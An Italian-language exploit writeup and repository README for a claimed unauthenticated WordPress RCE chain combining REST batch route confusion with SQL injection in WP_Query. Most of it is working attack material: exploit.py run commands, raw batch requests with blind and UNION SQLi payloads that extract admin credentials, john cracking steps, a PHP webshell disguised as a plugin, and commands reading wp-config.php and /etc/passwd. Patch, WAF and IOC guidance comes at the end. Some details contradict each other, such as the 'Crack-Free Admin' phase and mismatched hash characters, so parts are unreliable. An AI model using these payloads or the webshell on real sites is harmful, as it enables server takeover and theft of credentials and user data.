
Exploit di RCE non autenticato per WordPress che combina route confusion e SQL injection. Script automatizzato, setup di laboratorio e analisi dettagliata della vulnerabilità forniti.
Vulnerabilità: Confusione delle route batch REST + SQL injection in WP_Query → RCE completa
CVSS v3.1: 10.0 / 10.0 — CRITICO | AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Versioni interessate: WordPress 6.9.0–6.9.4, 7.0.0–7.0.1 | Corrette: 6.9.5, 7.0.2``` Zero credentials → Route Confusion → SQLi → Admin → Shell Upload → RCE (www-data)
---
## Avvio rapido
### 1. Configura il laboratorio vulnerabile
**Requisiti:** Docker + Docker Compose```bash
git clone https://github.com/Dungsocool/CVE-2026-60137_CVE-2026-63030.git
cd CVE-2026-60137_CVE-2026-63030
# Start vulnerable WordPress
docker compose up -d
# Wait ~30 seconds for WordPress to initialize, then open:
# http://localhost:8080
pip install requests
python3 exploit.py http://localhost:8080
python3 exploit.py http://localhost:8080 --cmd "cat /etc/passwd"
python3 exploit.py http://localhost:8080 --check-only
### 3. Output atteso```
[*] Phase 1: Confirming Route Confusion (CVE-2026-63030)...
[+] Primer triggered: parse_path_failed
[+] Desync confirmed: rest_invalid_handler
[+] Route Confusion CONFIRMED — auth bypass possible
[*] Phase 2: SQL Injection — extracting admin credentials...
[+] Boolean-based blind SQLi CONFIRMED
[+] Admin username: admin
[+] Password hash: $wp$2y$10$...
[*] Phase 3: Attempting login with common passwords...
[+] LOGIN SUCCESS: admin:admin123
[*] Phase 4: Uploading webshell via plugin upload...
[+] Plugin uploaded
[+] Plugin activated
[*] Phase 5: RCE verification...
[+] Shell found at: /wp-content/plugins/shell/shell.php
[+] RCE CONFIRMED!
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@target$ _
Vulnerabilità: Esecuzione remota di codice non autenticata — Confusione di route REST Batch + SQL Injection in WP_Query
CVSS v3.1: 10.0 / 10.0 — CRITICA
Vettore: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
CVE-2026-60137 è una vulnerabilità RCE non autenticata nel core di WordPress. Combina due bug indipendenti in una catena di exploit completa che porta dall'accesso zero al pieno compromesso del server:
| CVE | Bug | Ruolo nella catena |
|---|---|---|
| CVE-2026-63030 | Confusione di route REST Batch | Bypass dell'autenticazione |
| CVE-2026-60137 | author__not_in SQL Injection | Lettura/scrittura arbitraria del database |
Versioni interessate:
Condizioni di sfruttamento:
→ La stragrande maggioranza delle installazioni WordPress è vulnerabile di default.
/wp-json/batch/v1)Consente di inviare più richieste REST API in un'unica richiesta HTTP:```json POST /wp-json/batch/v1 { "requests": [ {"method": "GET", "path": "/wp/v2/posts/1"}, {"method": "GET", "path": "/wp/v2/users/me"} ] }
### WP_Query — `author__not_in`
Classe principale di query al database. Il parametro `author__not_in` accetta un array di interi, generando la clausola SQL:```sql
AND post_author NOT IN (5, 12, 23)
Ogni elemento passa attraverso absint() → conservando solo la parte intera.
wp_parse_url()Wrapper per parse_url(). Quando riceve un URL non valido → restituisce WP_Error.```php
wp_parse_url("https://example.com/path") // → OK
wp_parse_url("///") // → WP_Error
## 3. Causa principale — Bug A: Batch Route Confusion (CVE-2026-63030)
**File:** `wp-includes/rest-api/class-wp-rest-server.php`
### Codice sorgente vulnerabile:```php
public function serve_batch_request_v1( WP_REST_Request $batch_request ) {
$requests = $batch_request->get_json_params()['requests'];
$matches = array();
foreach ( $requests as $i => $single_request ) {
$parsed = wp_parse_url( $single_request['path'] );
if ( is_wp_error( $parsed ) ) {
$responses[ $i ] = $this->error_to_response( $parsed );
continue; // ←BUG: $matches[] is NOT appended
}
$matches[] = $this->match_request_to_handler( $parsed );
// ← sequential indices 0, 1, 2... DO NOT match $i when an error occurs
}
// Dispatch — this is where the bug comes into play
$match_index = 0;
foreach ( $requests as $i => $single_request ) {
if ( isset( $responses[ $i ] ) ) continue;
$handler = $matches[ $match_index ]; // ← INDEX IS DESYNCED
$match_index++;
// Request[i] runs with the permission callback OF ANOTHER REQUEST
$permission_callback = $handler['permission_callback'];
call_user_func( $permission_callback, $single_request );
}
}
Batch Request: [0]: {"method": "POST", "path": "///"} ← PRIMER (malformed) [1]: {"method": "POST", "path": "/wp/v2/posts", "body": {...}}
Processing: i=0: wp_parse_url("///") → WP_Error → skip → $matches NOT added i=1: wp_parse_url("/wp/v2/posts") → OK → $matches[0] = handler
Dispatch: i=0: skip (already has response) i=1: $handler = $matches[0] → But $matches[0] is NOT the handler meant for request[1] → Incorrect permission callback → bypass authentication
### Perché `"///"` innesca il bug?
Quando PHP `parse_url()` incontra `"///"`, tenta di analizzarlo secondo **RFC 3986** — struttura URL:```
scheme :// authority / path
│ │ │
"https" "localhost:8080" "/wp/v2/posts"
│
host + port
Quando riceve "///", lo interpreta come:```
// → authority begins (double slash = has host)
/ → empty authority, path begins immediately
→ host = "" (empty)
→ path = "" (empty)
→ scheme = none
PHP risultato restituito:```
parse_url("///")
// → ["host" => "", "path" => ""]
// or false — depending on PHP version
WordPress avvolge questo in wp_parse_url() → rileva nessuno schema valido, nessun host valido, nessun percorso significativo → restituisce WP_Error.
wp_parse_url("///") restituisce WP_Error (URL malformato). Questo errore fa sì che la richiesta venga saltata nel ciclo che costruisce $matches, ma NON viene saltata nel ciclo di dispatch → l'array diventa desincronizzato.
File: wp-includes/class-wp-query.php
class WP_Query { public function get_posts() { global $wpdb;
if ( ! empty( $q['author__not_in'] ) ) {
$author_not_in = implode(',', wp_parse_id_list($q['author__not_in']));
$where .= " AND{$wpdb->posts}.post_author NOT IN ($author_not_in)";
// ↑ INJECTION POINT
}
}
}
### Percorso normale (sicuro):```
User input → REST Controller → array cast + absint() → WP_Query → SQL
↑ sanitization occurs here
Controller REST (class-wp-rest-posts-controller.php):```php
$args['author__not_in'] = array_map('absint', (array)$request['author_exclude']);
// "0) UNION SELECT..." → (array)"0) UNION..." → ["0) UNION..."] → [0]
// → SAFE
### Percorso con confusione di route (vulnerabile):```
User input → Route Confusion bypass → WP_Query directly → SQL
↑ REST controller is SKIPPED
Quando si verifica il desync del batch, i parametri della richiesta non passano attraverso il controller REST → la stringa grezza finisce direttamente in WP_Query → wp_parse_id_list() ha un bypass tramite caso limite → SQL injection.
author_exclude = "0) UNION SELECT 1,user_login,user_pass,4,...,23 FROM wp_users-- -"
SQL generato:```sql
AND post_author NOT IN (0) UNION SELECT 1,user_login,user_pass,...FROM wp_users-- -)
↑ INJECTED ↑ commented out
| Scenario | Risultato |
|---|---|
| Bug A da solo (Route Confusion) | Bypass dei permessi → ma nulla da iniettare |
| Bug B da solo (SQLi) | Il controller REST esegue sempre il cast dell'input → impossibile iniettare |
| Bug A + Bug B | La confusione bypassa il controller → stringa grezza in SQL → RCE |
Singolarmente, questi due bug sono innocui. Solo se concatenati:
POST /wp-json/batch/v1 Content-Type: application/json
{ "requests": [ {"method": "POST", "path": "///"}, {"method": "POST", "path": "/wp/v2/posts", "body": {"author_exclude": "PAYLOAD"}} ] }
→ Response[0]: `parse_path_failed` (primer attivato)
→ Response[1]: `rest_invalid_handler` (desync dell'handler confermato)
### **Fase 2: SQL Injection — Estrazione dei dati**
**Blind Boolean :**```
0) OR (SELECT ASCII(SUBSTRING(user_login,1,1)) FROM wp_users WHERE ID=1) > 96-- -
Compare TRUE vs FALSE response → binary search each character.
UNION In-Band :``` 0) UNION SELECT 99999,1,NOW(),NOW(),user_pass,user_login,'','publish', 'closed','closed','','slug','','',NOW(),NOW(),'',0, CONCAT('http://x/',user_login),0,'post','',0 FROM wp_users LIMIT 1-- -
Fake post row containing credentials returned in the JSON response.
→ Risultato: `user_login` e `user_pass` (hash bcrypt) estratti correttamente da `wp_users`.
### **Fase 3: Crack dell'Hash → Login Admin**
L'hash ottenuto nella Fase 2 è in formato bcrypt (`$wp$2y$10$...`). Rimuovi il prefisso `$wp$` → esegui il crack con john/hashcat + wordlist → ottieni la password in chiaro → accedi a `/wp-login.php`.
**Nota:** Il punto di iniezione si trova nella clausola `WHERE` della `SELECT`. MySQL disabilita le multi-istruzioni → UNION è di sola LETTURA, non di SCRITTURA → non è possibile fare INSERT di un nuovo admin direttamente via SQLi. È necessario eseguire il crack dell'hash per ottenere una sessione valida.
### Fase 4: Upload della Webshell```
1. Login with new admin → wp-login.php
2. GET /wp-admin/plugin-install.php?tab=upload → extract _wpnonce
3. POST multipart → upload ZIP plugin containing PHP shell
4. Activate plugin
GET /wp-content/plugins/shell/shell.php?token=xxx&cmd=id → uid=33(www-data) gid=33(www-data)
## **7. SFRUTTAMENTO**
Lo sfruttamento di CVE-2026-60137 va da **zero accessi** — nessun account, nessuna password, nessuna sessione — al **pieno controllo del server** esclusivamente tramite richieste HTTP.
**Requisiti:** Il target esegue WordPress 6.9.0–6.9.4 oppure 7.0.0–7.0.1 con REST API pubblica (abilitata per impostazione predefinita). Non è necessario effettuare il login o conoscere alcuna credenziale.
**La catena dell'exploit si compone di 5 fasi:**```
Phase 1: Route Confusion → Bypass authentication
Phase 2: SQL Injection → Read database (username, password hash)
Phase 3: Crack-Free Admin → Create new admin without cracking password
Phase 4: Webshell Upload → Install backdoor via plugin upload
Phase 5: RCE → Execute arbitrary commands on the server
Obiettivo: Confermare che il target è vulnerabile — l'array degli handler viene desincronizzato quando si invia il percorso di innesco "///".
Principio: L'endpoint batch consente di inviare più richieste REST in una singola chiamata HTTP. Quando wp_parse_url("///") fallisce, WordPress salta quella richiesta durante la costruzione dell'array $matches ma NON la salta durante il dispatch → gli handler vengono sfalsati → la richiesta successiva viene eseguita con il callback dei permessi sbagliato → bypass dell'autenticazione.
Invia la richiesta:``` POST /?rest_route=/batch/v1 HTTP/1.1 Host: localhost:8080 Content-Type: application/json
{"requests":[{"method":"POST","path":"///"},{"method":"POST","path":"/wp/v2/posts","body":{"title":"test","status":"draft"}}]}
**Risposta:**```
{
"responses": [
{"body": {"code": "parse_path_failed"}, "status": 400},
{"body": {"code": "rest_invalid_handler"}, "status": 500}
]
}
Come leggere:

Osserviamo che rest_invalid_handler significa:
"WordPress si rende conto che l'handler NON CORRISPONDE alla richiesta"
→ Significa che l'array $matches È GIÀ DESINCRONIZZATO, il primer "///" HA FUNZIONATO e questo desync PUÒ ESSERE SFRUTTATO per far eseguire la richiesta con la callback di autorizzazione DI UN'ALTRA ROUTE (una route che non richiede autenticazione)
→ AUTH BYPASS È POSSIBILE
Vedere rest_invalid_handler → Bug A confermato.
VERO (OR 1=1):
```
POST /?rest_route=/batch/v1 HTTP/1.1
Host: localhost:8080
Content-Type: application/json
{"requests":[{"method":"GET","path":"///"},{"method":"GET","path":"/wp/v2/posts?author_exclude=0) OR 1=1-- -"},{"method":"GET","path":"/wp/v2/posts"}]}
**FALSE (AND 1=2):**
```
POST /?rest_route=/batch/v1 HTTP/1.1
Host: localhost:8080
Content-Type: application/json
{"requests":[{"method":"GET","path":"///"},{"method":"GET","path":"/wp/v2/posts?author_exclude=0) AND 1=2-- -"},{"method":"GET","path":"/wp/v2/posts"}]}
Difference in X-WP-Total → SQLi confermata.
1° carattere:
```
POST /?rest_route=/batch/v1 HTTP/1.1
Host: localhost:8080
Content-Type: application/json
{"requests":[{"method":"GET","path":"///"},{"method":"GET","path":"/wp/v2/posts?author_exclude=0) AND (SELECT SUBSTRING(user_login,1,1) FROM wp_users WHERE ID=1)=CHAR(97)-- -"},{"method":"GET","path":"/wp/v2/posts"}]}
`CHAR(97)` = `'a'`. X-WP-Total=8 (TRUE) → quindi il primo carattere è `'a'`
Enumerando sequenzialmente, otteniamo: `user_login` = **"admin"**
#### **Passaggio 3 — Estrarre l'hash della password**```
POST /?rest_route=/batch/v1 HTTP/1.1
Host: localhost:8080
Content-Type: application/json
{"requests":[{"method":"GET","path":"///"},{"method":"GET","path":"/wp/v2/posts?author_exclude=0) AND (SELECT ASCII(SUBSTRING(user_pass,1,1)) FROM wp_users WHERE ID=1) > 30-- -"},{"method":"GET","path":"/wp/v2/posts"}]}


Usa la ricerca binaria per determinare il codice ASCII di ogni carattere in user_pass:```
Payload: ASCII(SUBSTRING(user_pass,1,1)) > 30 → X-WP-Total: 8 (TRUE)
Payload: ASCII(SUBSTRING(user_pass,1,1)) > 40 → X-WP-Total: 0 (FALSE)
Due risposte opposte confermano che l'ASCII del primo carattere rientra nell'intervallo **(30, 40]**. Continua a restringere il campo:```
> 35 → TRUE
> 36 → FALSE
→ ASCII = 36 = '$'
Continua la ricerca binaria di ogni posizione → ottieni la stringa del prefisso hash $wp$:
Continua usando BLIND SQL carattere per carattere:
→ Hash completo: $wp$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi
Dopo la Fase 2, abbiamo:
user_login = adminuser_pass = $wp$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igiCraccare l'Hash
Gli hash di WordPress utilizzano il formato bcrypt ($2y$10$), con un fattore di costo di 10. Prima di craccare, dobbiamo rimuovere il prefisso $wp$ perché hashcat/john accetta solo bcrypt puro:```
echo '$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi' > hash.txt
john hash.txt --wordlist=mini_wordlist.txt --format=bcrypt
**Risultato:**

La password **`admin123`** è nella wordlist → john la decifra con successo immediatamente.
→ Accesso effettuato con successo su `/wp-login.php` con `admin:admin123`.
### **7.4 Fase 4: Caricamento Webshell**
A questo punto, abbiamo una sessione admin valida. L'obiettivo successivo è **installare una backdoor sul server** per mantenere l'accesso indipendentemente dalle credenziali.
WordPress consente agli amministratori di caricare plugin in formato ZIP — questa è una funzionalità legittima, e ne abuseremo.
#### **Creare una webshell**
Innanzitutto, ci serve un file PHP che esegua comandi di sistema. Questo file verrà impacchettato in un finto plugin per essere accettato da WordPress:```php
<?php
/*
Plugin Name: Maintenance Utility
Version: 1.0
*/
if (isset($_GET['token']) && $_GET['token'] === 'secret123' && isset($_GET['cmd'])) {
header('Content-Type: text/plain');
echo shell_exec($_GET['cmd'] . ' 2>&1');
exit;
}
Il token secret123 funge da password — impedendo ad altri di attivare accidentalmente la shell.```bash
mkdir shell && mv shell.php shell/
zip -r shell.zip shell/

Creato con successo.
#### **Caricamento su WordPress**
Dopo aver creato con successo `shell.zip`, carica il file zip nella sezione plugin per attivarlo.
WordPress estrae e colloca il file in:```
/var/www/html/wp-content/plugins/shell/shell.php
Il plugin appare nell'elenco con il nome "Maintenance Utility" e lo stato Active → la webshell è ora pronta per essere attivata via HTTP.

UPLOAD e ACTIVE completati con successo.
Quindi, la Shell è sul server. Chiamala per eseguire la shell.
Conferma RCE:``` GET /wp-content/plugins/shell/shell.php?token=secret123&cmd=id
```
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Running as the www-data user — the web server's user. Next, escalate the impact:
GET /wp-content/plugins/shell/shell.php?token=secret123&cmd=cat+/var/www/html/wp-config.php

— Esegue il comando per leggere il file `wp-config.php` tramite webshell — esponendo tutte le chiavi segrete di WordPress (`AUTH_KEY`, `SECURE_AUTH_KEY`, `LOGGED_IN_KEY`, `NONCE_KEY`,...) e le credenziali del database. Questa è l'informazione più sensibile in un'installazione di WordPress.

*—* La risposta restituisce il contenuto di `wp-config.php` inclusi `DB_NAME`, `DB_USER`, `DB_PASSWORD`, `DB_HOST` — sufficiente per l'accesso diretto al server del database senza passare attraverso WordPress.
#### **Leggi tutti gli utenti di sistema:**```
GET /wp-content/plugins/shell/shell.php?token=secret123&cmd=cat+/etc/passwd

→ Conferma l'accesso a livello di sistema operativo, non più limitato all'ambito WordPress.
A questo punto, la catena di exploit è completa:``` Zero credentials ↓ Route Confusion (Bug A) Auth bypass ↓ SQL Injection (Bug B) admin:admin123 ↓ hashcat/john Admin session ↓ Plugin upload Webshell active ↓ shell_exec() Full RCE — www-data
### **7.6 Riepilogo**
| **#** | **Fase** | **Metodo** | **Percorso** |
| --- | --- | --- | --- |
| 1 | SQLi TRUE | POST | `/?rest_route=/batch/v1` |
| 2 | SQLi FALSE | POST | `/?rest_route=/batch/v1` |
| 3 | Estrai username | POST | `/?rest_route=/batch/v1` |
| 4 | Estrai hash | POST | `/?rest_route=/batch/v1` |
| 5 | Accesso admin | POST | `/wp-login.php` |
| 6 | Ottieni nonce | GET | `/wp-admin/plugin-install.php` |
| 7 | Carica shell | POST | `/wp-admin/update.php` |
| 8 | Attiva | GET | `/wp-admin/plugins.php` |
| 9 | **RCE** | GET | `/wp-content/plugins/shell/shell.php` |
**9 richieste. Zero credenziali iniziali. Dalla pagina di login → pieno controllo del server.**
## 8. Suddivisione CVSS
| Metrica | Valore | Motivo |
| --- | --- | --- |
| Vettore di attacco | Rete | Remoto via HTTP |
| Complessità dell'attacco | Bassa | Deterministico, nessun requisito di timing/race |
| Privilegi richiesti | Nessuno | Completamente non autenticato |
| Interazione utente | Nessuna | Nessuna azione richiesta alla vittima |
| Ambito | Modificato | WP → livello OS (www-data) |
| Riservatezza | Alta | Lettura completa del DB |
| Integrità | Alta | Scrittura arbitraria del DB, caricamento file |
| Disponibilità | Alta | DROP tabelle, ransomware |
## 9. Impatto
### Tecnico
| Livello | Impatto |
| --- | --- |
| Database | Accesso READ/WRITE a tutto: wp_users, wp_options, wp_posts |
| Applicazione | Creare admin, modificare contenuti, installare backdoor |
| Server | RCE come www-data, leggere wp-config.php, /etc/passwd |
| Rete | Pivot verso servizi interni tramite credenziali DB |
### Business
| Scenario | Conseguenze |
| --- | --- |
| E-commerce | Divulgazione PII, rubare chiavi di pagamento, iniettare skimmer |
| Azienda | Defacement, spam SEO, distribuzione malware |
| Multisite | 1 exploit → compromettere l'intera rete |
| SaaS (WP marketing) | Estrarre variabili d'ambiente → pivot verso la produzione |
### Dati a rischio
- `wp_users`: username, email, hash password
- `wp_usermeta`: PII (nome, telefono, indirizzo), session_tokens
- `wp_options`: credenziali DB, credenziali SMTP, chiavi API di pagamento, salt WordPress
- `wp-config.php`: host/utente/password del database, chiavi segrete
- `/proc/self/environ`: variabili d'ambiente
## 10. Difesa e Rimedio
### 10.1 Patch (Completa)
| Versione attuale | È necessario aggiornare a |
| --- | --- |
| 6.9.0 – 6.9.4 | **6.9.5** |
| 7.0.0 – 7.0.1 | **7.0.2** |
| 6.8.x | **6.8.6** |
### 10.2 Correzione del codice
**Bug A — Confusione di route:**```php
// BEFORE: $matches[] is offset when an error occurs
if (is_wp_error($parsed)) { continue; }
$matches[] = $match;
// AFTER: Use $i to maintain alignment
if (is_wp_error($parsed)) { $matches[$i] = null; continue; }
$matches[$i] = $match;
Bug B — SQL Injection:```php // BEFORE: wp_parse_id_list has an edge case $author_not_in = implode(',', wp_parse_id_list($q['author__not_in']));
// AFTER: Force cast + explicit absint $safe = array_map('absint', array_filter((array)$q['author__not_in'])); $author_not_in = implode(',', $safe);
### 10.3 Mitigazione temporanea
**1. Disabilitare l'endpoint batch (il più efficace):**```php
add_filter('rest_endpoints', function($endpoints) {
unset($endpoints['/batch/v1']);
return $endpoints;
});
2. Abilita Redis/Memcached:```bash wp plugin install redis-cache --activate wp redis enable
→ L'iniezione UNION non si riflette (la cache restituisce dati obsoleti).
**3. Regola WAF:**```nginx
location /wp-json/batch/ {
if ($request_body ~* '"path"\s*:\s*"///') {
return 403;
}
}
Pattern di log:``` POST /wp-json/batch/v1 HTTP/1.1" 207 ← anomalous batch requests POST /wp-json/wp/v2/users HTTP/1.1" 201 ← newly created admin POST /wp-admin/update.php HTTP/1.1" 200 ← plugin upload immediately after GET /wp-content/plugins/*/shell.php" 200 ← webshell access
**Controllo IOC:**```bash
wp user list --role=administrator # unfamiliar admin?
ls wp-content/mu-plugins/ # backdoor?
wp core verify-checksums # core modified?
| File | Descrizione |
|---|
README.md | Analisi completa della vulnerabilità e writeup di sfruttamento |
exploit.py | Script di exploit automatizzato (zero-access → RCE con un solo comando) |
docker-compose.yml | Ambiente di laboratorio WordPress vulnerabile |
chain-rce.md | Documentazione della catena RCE automatizzata |
images/ | Screenshot dallo sfruttamento manuale |
| Codice |
|---|
| Significato |
|---|
[0] | parse_path_failed | Il primer funziona — wp_parse_url("///") ha fallito |
[1] | rest_invalid_handler | DESYNC! La richiesta ha ricevuto un handler errato → bypass dell'autenticazione |
| Posizione | ASCII | Carattere | Note |
|---|
| 1 | 36 | $ | Prefisso hash |
| 2 | 119 | w | |
| 3 | 112 | p | |
| 4 | 36 | $ | → $wp$ = variante bcrypt |
| 5-20 | ... | 2y$10$aJgATdlhfI | Fattore di costo + sale |